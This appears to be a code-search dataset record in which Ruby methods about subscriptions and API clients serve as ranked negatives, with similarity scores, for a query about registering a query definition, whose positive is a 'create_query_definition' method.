"def subscribe(user, device_id, subscription)\n if @subscriptionLists.hasKey device_id\n device = @subscriptionLists.getRepositoryObject(device_id).getObject\n subscriptions = Hash.new\n subscriptions = @subscriptionLists.getRepositoryObject(\"subscriptions\").getObject if @subscriptionLists.hasKey(\"subscriptions\")\n\n #puts \"\\n\\n_____________________Sub Queues_______________________\\n#{subscriptions}\\n\\nLooking for #{subscription}\\n__________________________________\"\n\n if subscriptions.key? subscription\n sub = subscriptions[subscription]\n #sub.addDevice(device_id)\n if(sub != nil && sub.hasDevice?(device_id)) # Device Already subscribed so let the user know\n return \"{\\\"subscribe\\\": \\\"Device already subscribed to #{subscription}\\\"}\"\n else #Lets subscribe the user(only implemented locally, not on the firebase server)\n device.addSubscription(sub)\n sub.addDevice(device)\n @subscriptionLists.commitObject(\"subscriptions\", subscriptions, false) #List of all subscription lists with device ids\n @subscriptionLists.commitObject(device_id, device, false) #We also keep a list of subscriptions with the particular device id... do we need this??\n\n return \"{\\\"subscribe\\\": \\\"Device subscribed to #{subscription}\\\"}\"\n end\n else\n return '{\"subscribe\": \"Subscription queue('+subscription+') does not exist.\"}'\n end\n else\n return '{\"subscribe\": \"Device not registered\"}'\n end\n end",
"def lookup_subscription_entry(name)\n\t\tend",
"def read_subscription(subscription_id)\n query = @subscriptions[subscription_id]\n {\n query_string: query.query_string,\n variables: query.provided_variables,\n context: query.context.to_h,\n operation_name: query.operation_name,\n }\n end",
"def subscription_on_comments user\n commentable_subscriptions.where{user_id == user.id}.first \n end",
"def check_subscription(user, device_id, sub)\n if @subscriptionLists.hasKey device_id\n device = @subscriptionLists.getRepositoryObject(device_id).getObject\n return \"{\\\"subscribed\\\": \\\"#{device.hasSubscription?(sub)}\\\"}\"\n else\n return \"{\\\"subscribed\\\": \\\"false\\\"}\"\n end\n end",
"def subscriptions\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Subscription)\n end",
"def find\n @subscription = @target.find_subscription(params[:key])\n @subscription ? redirect_to_subscription_path : render_resource_not_found(\"Couldn't find subscription with this target and 'key'=#{params[:key]}\")\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\nend",
"def set_subscription\n @subscription = Subscription.find(params[:id])\nend",
"def subscription\n @gate.synchronize do \n if @subscription\n @count += 1\n return InnerSubscription.new self\n else\n return Subscription.empty\n end\n end\n end",
"def subscription(id)\n Sensit::Api::Subscription.new id, @http_client\n end",
"def retrieve(id)\n @client.call(method: :get, path: \"subaccounts/#{id}\")\n end",
"def subscriptions\n url = url_with_api_version(@base_url, 'subscriptions')\n resp = rest_get(url)\n JSON.parse(resp.body)[\"value\"]\n end",
"def conference(i = item)\n conference = conferences.find { |c| i.identifier.to_s.start_with?(c.path) }\n conference || conferences.last\nend",
"def subscription_params\n params[:subscription]\n end",
"def subscriptions\n # subscriber entries are embedded in subscriptions inside of an\n # org. We'll flip this, so that we only return subscriber entries\n # for the account\n orgs = Org.all(:conditions=>{ \"subscriptions.subscribers.account_id\"=> self.id})\n subscribers = []\n orgs.each do |org|\n org.subscriptions.each do |subscription|\n subscribers += subscription.subscribers.select { |subscriber| subscriber.account_id.to_s == self.id.to_s }\n end\n end\n subscribers.flatten!\n subs = []\n subscribers.each do |subscriber|\n subscript = subscriber.subscription\n org = subscript.org\n subs << AccountSubscription.new(org.id.to_s, org.name, subscript.product, subscript.billing_level, subscriber.role)\n end\n subs\n end",
"def fetch_subscription(trans_id)\n base_url = rave_object.base_url\n secret_key = rave_object.secret_key.dup\n\n response = get_request(\"#{base_url}#{BASE_ENDPOINTS::SUBSCRIPTIONS_ENDPOINT}/query\",{\"seckey\" => rave_object.secret_key.dup, \"transaction_id\" => trans_id})\n return handle_fetch_subscription_response(response)\n end",
"def show\n cf_get(path: \"/zones/#{zone_id}/subscription\")\n end",
"def subscriptions\n @subscriptions ||= {}\n end",
"def list_my_subscriptions() path = \"/api/v2/utilities/subscriptions\"\n get(path, {}, AvaTax::VERSION) end",
"def subscriptions\n @subscriptions ||= get_roster || {}\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def retrieve_subscription(subscription_id:,\n include: nil)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::GET,\n '/v2/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .query_param(new_parameter(include, key: 'include'))\n .header_param(new_parameter('application/json', key: 'accept'))\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def get_subscription\n @subscriptions = Subscription.all\n @my_subscription = current_user.user_subscriptions.includes(:subscription).where(\"user_subscriptions.id = ? and user_subscriptions.status = ?\", params[:id], \"active\").first\n\n if @my_subscription.blank?\n\n respond_to do |format|\n format.html{ flash[:error] = \"Sorry, You are not authorized for this subscription.\" }\n format.js{ render js: %{location.reload();} }\n end\n\n redirect_to main_app.profile_users_path and return\n end\n\n end",
"def get_subscriber_of_list(user, list, subscriber_id)\n get(\"/#{user}/#{list}/subscribers/#{subscriber_id}.json\")\n end",
"def subscription(options = {})\n Subscription.new(options.merge(:url => url)).to_hash\n end",
"def subscription\n @result = ChargeBee::Subscription.retrieve(@subscription_id)\n @billing_address = @result.customer.billing_address\n @country_codes = get_country_codes\n \n @shipping_address = retrieve_shipping_address(@subscription_id)\n @invoice_estimate = nil\n if @result.subscription.status != \"cancelled\" && @result.subscription.status != \"non_renewing\"\n @invoice_estimate = ChargeBee::Estimate.renewal_estimate(@subscription_id, {\"use_existing_balances\" => \"true\"}).estimate.invoice_estimate\n end\n \n @subscription_status = subscription_status()[@result.subscription.status]\n end",
"def read_subscription(subscription_id)\n raise NotImplementedError\n end",
"def get_by_guid(guid)\n HttpClient::Preconditions.assert_class('guid', guid, String)\n @client.request(\"/subscriptions/#{guid}\").get { |hash| Apidoc::Models::Subscription.new(hash) }\n end",
"def subscription_info(subscription_id = @subscription_id)\n url = url_with_api_version(@base_url, 'subscriptions', subscription_id)\n resp = rest_get(url)\n JSON.parse(resp.body)\n end",
"def get_client_sub_client(client_id, sub_client_id)\n get \"admin/clients/#{client_id}/subclients/#{sub_client_id}\"\n end",
"def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"def show\n @subscriber = Subscriber.find(params[:id])\n end",
"def subscription_owner\n # Return whatever we belong to.\n # If this object doesn't respond to 'name', please update owner_description.\n send Koudoku.subscriptions_owned_by\n end",
"def subscription_owner\n # Return whatever we belong to.\n # If this object doesn't respond to 'name', please update owner_description.\n send Koudoku.subscriptions_owned_by\n end",
"def [](topic_or_event)\n topic, head, tail, parts = process_routing_key(topic_or_event)\n\n items = parts.length == 1 ? my_subscriptions(head, original_lookup: topic) : child_subscriptions(head, tail)\n\n Result.new(root, topic, items)\n end",
"def subscriber(id_or_email)\n make_json_api_request :get, \"v2/#{account_id}/subscribers/#{CGI.escape id_or_email}\"\n end",
"def list_subs\n \t@subs = instagram_client.subscriptions\n end",
"def subscriptions\n @channels\n end",
"def get_subscription_used_to_register_for(lesson)\n if self.registered_to?(lesson)\n return lesson.registrations.reject{|r| r[:member_id] != self.id}.first.subscription\n end\n end",
"def read_subscription(subscription_id)\n query = @subscriptions[subscription_id]\n if query.nil?\n # This can happen when a subscription is triggered from an unsubscribed channel,\n # see https://github.com/rmosolgo/graphql-ruby/issues/2478.\n # (This `nil` is handled by `#execute_update`)\n nil\n else\n {\n query_string: query.query_string,\n variables: query.provided_variables,\n context: query.context.to_h,\n operation_name: query.operation_name,\n }\n end\n end",
"def active_subscription\n if company_exists?\n @active_subscription ||= company.subscriptions.active.limit(1).order('ends_at DESC NULLS FIRST, id DESC').first\n end\n end"
] |
[
"0.7095705",
"0.70048296",
"0.6807343",
"0.6756315",
"0.67531",
"0.6704194",
"0.6674504",
"0.66607",
"0.66307056",
"0.6566782",
"0.6546216",
"0.6509602",
"0.6486157",
"0.6481763",
"0.6481763",
"0.6443684",
"0.6433032",
"0.63475186",
"0.6336381",
"0.6287016",
"0.62773794",
"0.6207329",
"0.61921954",
"0.61683816",
"0.61584973",
"0.61158156",
"0.60562426",
"0.60561657",
"0.60388196",
"0.60296893",
"0.60014766",
"0.60014766",
"0.6000068",
"0.5979344",
"0.59657025",
"0.5931134",
"0.59309715",
"0.59157723",
"0.5909994",
"0.59022075",
"0.59022075",
"0.58764213",
"0.58479",
"0.58479",
"0.58479",
"0.58412117",
"0.5835745",
"0.58295053",
"0.58250165",
"0.58237857",
"0.5810728",
"0.57838684",
"0.5780897",
"0.5780897",
"0.5772014",
"0.57562125",
"0.5744724",
"0.57321745",
"0.57195354",
"0.57137465",
"0.5711881",
"0.5710782",
"0.57078904",
"0.57017106",
"0.57014525",
"0.57009673",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.569932",
"0.5697681",
"0.56912136",
"0.5690577",
"0.5652617",
"0.5639915",
"0.5638343",
"0.5625458",
"0.56121266",
"0.5605803",
"0.55995977",
"0.55776227",
"0.5569727",
"0.5569727",
"0.55639136",
"0.5559515",
"0.5551949",
"0.5545844",
"0.5540983",
"0.55407196",
"0.5529879"
] |
0.70075405
|
1
|
Registers new query definition in the system with given queryName
|
def create_query_definition(query_name, body, opts = {})
data, _status_code, _headers = create_query_definition_with_http_info(query_name, body, opts)
return data
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def addQueryName(theName)\n @metadata.addQueryName(theName)\n end",
"def register_percolator_query(query_name, options = {})\n server.request(:put, percolator_query_path(query_name), nil, options)\n end",
"def add_query(query)\n add_actions \"AddQuery(#{query})\"\n end",
"def alias_query(query_name, alias_name)\n @aliases ||= {}\n @aliases[alias_name] = query_name\n define_query_method(query_name, alias_name)\n end",
"def define_query_method(name, method_name = name)\n klass = @registry[name]\n\n define_method(method_name) do |bucket, options = {}|\n QueryCommand.new(klass, namespace, bucket, options).run\n end\n end",
"def connect_query_model(name, query_model_class: r(:query_model_class), events: r(:events))\n query_models[name] =\n query_model_class.new(@query_database[name])\n\n events.each do |event_name|\n @message_bus.register(event_name, query_models[name])\n end\n end",
"def query=(newquery)\n delete_elements(newquery.name)\n add(newquery)\n end",
"def set_query\n @query_definition = QueryDefinition.find_by_search_key(params[:search_key])\n end",
"def add_queries\n add_general_query\n add_title_query\n add_creators_query\n add_series_query\n add_collected_query\n add_tag_name_query\n end",
"def add_query_to_table\n @query = Search.create(:search => \"#{@search}\", :count => @count.to_i)\n end",
"def replace_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.replace_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.replace_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#replace_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def replace_query_definition(query_name, body, opts = {})\n data, _status_code, _headers = replace_query_definition_with_http_info(query_name, body, opts)\n return data\n end",
"def register(name)\n Schemas.register(name, self)\n end",
"def define_query\n name = @name\n klass.send :define_method, \"#{name}?\" do\n send(\"#{name}_value\").present? &&\n send(\"#{name}_unit\").present?\n end\n end",
"def query_def; query.name; end",
"def execute(query, name = 'ANSR-NOSQL')\n end",
"def register\n self.class.definitions[name] = self\n self\n end",
"def initialize(query_name, opts = {})\n @query_name = query_name\n @options = opts\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def user_created_query _user, query\n the_case = query.case\n\n data = {\n category: 'Queries',\n action: 'Created a Query',\n label: query.query_text,\n value: the_case.queries.count,\n bounce: false,\n }\n\n create_event data\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def set_Query(value)\n set_input(\"Query\", value)\n end",
"def query(query_definition)\n return\n end",
"def add_graph(query, graph_name)\n graph_uri = \"<#{graph_name}>\"\n query.gsub(/\\?validatedGraph/i, graph_uri)\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def query=(value)\n @query = value\n end",
"def update_query(project_id, query_id, opts = {})\n put \"projects/#{project_id}/queries/#{query_id}\", opts\n end",
"def expand_named_query(what)\n url = @api_url.clone\n url.path = '/buglist.cgi'\n url.query = \"cmdtype=runnamed&namedcmd=#{URI.escape(what)}&ctype=atom\"\n logger.info(\"Expanding named query: '#{what}' to #{url.request_uri}\")\n fetch_named_query_url(url, 5)\n end",
"def related(query)\n @query[:Query] << query\n self\n end",
"def add_query(conn, query, query_num, opts = [])\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def create_query_definition_with_http_info(query_name, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CustomQueriesBPMApi.create_query_definition ...\"\n end\n # verify the required parameter 'query_name' is set\n if @api_client.config.client_side_validation && query_name.nil?\n fail ArgumentError, \"Missing the required parameter 'query_name' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling CustomQueriesBPMApi.create_query_definition\"\n end\n # resource path\n local_var_path = \"/server/queries/definitions/{queryName}\".sub('{' + 'queryName' + '}', query_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'QueryDefinition')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CustomQueriesBPMApi#create_query_definition\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def set_query\n\t\t@query = Query.find(params[:id])\n\tend",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def query_params\n params.require(:query).permit(:name, :query)\n end",
"def query_params\n params.require(:query).permit(:name, :query_string)\n end",
"def event(query_name)\n @client.call(:event, query_name)\n end",
"def query_def; mrna.definition; end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def define(name)\n current << name\n end",
"def add_select_into_table(new_table_name, sql_query)\n \"CREATE TABLE #{new_table_name} \" + sql_query\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def set_query\n @query = Query.find(params[:id])\n end",
"def add_graph(query_template)\n query_template.gsub(/\\?graph/i, \"<#{@named_graph}>\")\n end",
"def set_query_type\n @query_type = QueryType.find(params[:id])\n end",
"def query(query:)\n path = '/graphql'\n\n if query.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"query\"')\n end\n\n params = {\n query: query,\n }\n \n headers = {\n \"x-sdk-graphql\": 'true',\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'POST',\n path: path,\n headers: headers,\n params: params,\n )\n end",
"def setQuery(query) \n\t\tself.queryString = query\n end",
"def create_query(project_id, opts = {})\n post \"projects/#{project_id}/queries\", opts\n end",
"def create_search_schema(name, content)\n @data[:search_schemas][name] = {:name => name, :content => content}\n true\n end",
"def AddQuery(query, index = '*', comment = '')\n # build request\n \n # mode and limits\n request = Request.new\n request.put_int @offset, @limit, @mode, @ranker\n # process the 'expr' ranker\n if @ranker == SPH_RANK_EXPR\n request.put_string @rankexpr\n end\n\n request.put_int @sort\n\n request.put_string @sortby\n # query itself\n request.put_string query\n # weights\n request.put_int_array @weights\n # indexes\n request.put_string index\n # id64 range marker\n request.put_int 1\n # id64 range\n request.put_int64 @min_id.to_i, @max_id.to_i \n \n # filters\n request.put_int @filters.length\n @filters.each do |filter|\n request.put_string filter['attr']\n request.put_int filter['type']\n\n case filter['type']\n when SPH_FILTER_VALUES\n request.put_int64_array filter['values']\n when SPH_FILTER_RANGE\n request.put_int64 filter['min'], filter['max']\n when SPH_FILTER_FLOATRANGE\n request.put_float filter['min'], filter['max']\n else\n raise SphinxInternalError, 'Internal error: unhandled filter type'\n end\n request.put_int filter['exclude'] ? 1 : 0\n end\n \n # group-by clause, max-matches count, group-sort clause, cutoff count\n request.put_int @groupfunc\n request.put_string @groupby\n request.put_int @maxmatches\n request.put_string @groupsort\n request.put_int @cutoff, @retrycount, @retrydelay\n request.put_string @groupdistinct\n \n # anchor point\n if @anchor.empty?\n request.put_int 0\n else\n request.put_int 1\n request.put_string @anchor['attrlat'], @anchor['attrlong']\n request.put_float @anchor['lat'], @anchor['long']\n end\n \n # per-index weights\n request.put_int @indexweights.length\n @indexweights.each do |idx, weight|\n request.put_string idx\n request.put_int weight\n end\n \n # max query time\n request.put_int @maxquerytime\n \n # per-field weights\n request.put_int @fieldweights.length\n @fieldweights.each do |field, weight|\n request.put_string field\n request.put_int weight\n end\n \n # comment\n request.put_string comment\n \n # attribute overrides\n request.put_int @overrides.length\n for entry in @overrides do\n request.put_string entry['attr']\n request.put_int entry['type'], entry['values'].size\n entry['values'].each do |id, val|\n assert { id.instance_of?(Fixnum) || id.instance_of?(Bignum) }\n assert { val.instance_of?(Fixnum) || val.instance_of?(Bignum) || val.instance_of?(Float) }\n \n request.put_int64 id\n case entry['type']\n when SPH_ATTR_FLOAT\n request.put_float val\n when SPH_ATTR_BIGINT\n request.put_int64 val\n else\n request.put_int val\n end\n end\n end\n \n # select-list\n request.put_string @select\n \n # store request to requests array\n @reqs << request.to_s;\n return @reqs.length - 1\n end",
"def copy(query)\n queries << query\n end",
"def see(query_name)\n @client.call(:see, query_name)\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end",
"def current_query=(query)\n @current_query = session[:advanced_query] = query\n end",
"def saved_query_params\n params.require(:saved_query).permit(:name, :description, :sql)\n end",
"def save_title_query\n @query = TitleQuery.new(user_id: current_user.try(:id), query: params[:term])\n @query.save\n end",
"def create\n @query = current_user.queries.new(params[:query])\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render json: @query, status: :created, location: @query }\n else\n format.html { render action: \"new\" }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initial_query; end",
"def update_facebook_query project_id, query_id, opts={}\n put \"projects/#{project_id}/facebookqueries/#{query_id}\", opts\n end",
"def add_general_query\n fields = [\n \"creators.name^5\",\n \"title^7\",\n \"endnotes\",\n \"notes\",\n \"summary\",\n \"tags.name\",\n \"series.title\"\n ]\n query_string = options[:q]\n return if query_string.blank?\n body.must(\n :query_string,\n fields: fields,\n query: query_string\n )\n end",
"def containing(query)\n @query[:Query] << query\n self\n end",
"def register(name)\n Assertion.register_macro name, self\n end",
"def addNamedGraph(uri) \n\t\t\n\t\tif uri \n\t\t\tself._querytext.push([\"named-graph-uri\",uri])\n\t end\n\tend",
"def definition(name)\n @pdef_registry[name.to_sym]\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def query=(query)\n if query.nil?\n fail ArgumentError, 'invalid value for \"query\", query cannot be nil.'\n end\n @query = query\n end",
"def initialize(name, conn)\n @name = name.to_sym\n @conn = conn\n @builder = QueryBuilder.new(name)\n end",
"def create_view table_id, query, name: nil, description: nil\n options = { query: query, name: name, description: description }\n insert_table table_id, options\n end",
"def create\n @query = Query.new(query_params)\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render :show, status: :created, location: @query }\n else\n format.html { render :new }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @query = Query.new(query_params)\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render :show, status: :created, location: @query }\n else\n format.html { render :new }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @query = Query.new(query_params)\n\n respond_to do |format|\n if @query.save\n format.html { redirect_to @query, notice: 'Query was successfully created.' }\n format.json { render :show, status: :created, location: @query }\n else\n format.html { render :new }\n format.json { render json: @query.errors, status: :unprocessable_entity }\n end\n end\n end",
"def execute(query, request_token: nil, work_group: nil)\n if @database_name\n resp = @client.start_query_execution(\n query_string: query,\n query_execution_context: context,\n result_configuration: result_config,\n client_request_token: request_token,\n work_group: work_group\n )\n else\n resp = @client.start_query_execution(\n query_string: query,\n result_configuration: result_config\n )\n end\n\n return Athens::Query.new(self, resp.query_execution_id)\n end",
"def create\n @query = Query.new(params[:query])\n\n respond_to do |format|\n if @query.save\n run_query\n @results = @query.results\n \n flash[:notice] = 'Query was successfully created.'\n format.html { redirect_to(@query) }\n format.xml { render :xml => @query, :status => :created, :location => @query }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @query.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def register(name, klass)\n Registry.instance.register(name, klass)\n end",
"def definition(definition_name)\n @definition_name = definition_name\n end",
"def create\n @dev_math_query = DevMathQuery.new(params[:dev_math_query])\n\n respond_to do |format|\n if @dev_math_query.save\n format.html { redirect_to @dev_math_query, notice: 'Dev math query was successfully created.' }\n format.json { render json: @dev_math_query, status: :created, location: @dev_math_query }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dev_math_query.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.76185566",
"0.7026084",
"0.6599814",
"0.6434121",
"0.6083875",
"0.6057601",
"0.6047296",
"0.59659106",
"0.5883214",
"0.5880212",
"0.578039",
"0.5776657",
"0.5757622",
"0.5732028",
"0.5687732",
"0.5659406",
"0.5581932",
"0.5568742",
"0.55284953",
"0.55284953",
"0.55284953",
"0.55284953",
"0.55284953",
"0.55199546",
"0.5514256",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5511905",
"0.5506303",
"0.54649484",
"0.54509217",
"0.54509217",
"0.54509217",
"0.54269",
"0.53631914",
"0.53261536",
"0.5325235",
"0.52976567",
"0.52866066",
"0.52456397",
"0.52430344",
"0.52430344",
"0.52430344",
"0.52430344",
"0.52430344",
"0.52430344",
"0.5232906",
"0.52299225",
"0.51989776",
"0.51886743",
"0.5181442",
"0.5169934",
"0.51691574",
"0.51683366",
"0.51683366",
"0.51683366",
"0.51566553",
"0.51547927",
"0.5149317",
"0.51351243",
"0.5128279",
"0.51052684",
"0.51018363",
"0.50869155",
"0.50829434",
"0.50712794",
"0.50686264",
"0.5064704",
"0.5062968",
"0.50615907",
"0.5030822",
"0.50229275",
"0.5021757",
"0.50151765",
"0.501119",
"0.50097203",
"0.49899983",
"0.4985521",
"0.4985521",
"0.49805823",
"0.4976756",
"0.49727598",
"0.49727598",
"0.49720025",
"0.4956502",
"0.49543834",
"0.49418348",
"0.49257642",
"0.49125928"
] |
0.6002378
|
7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.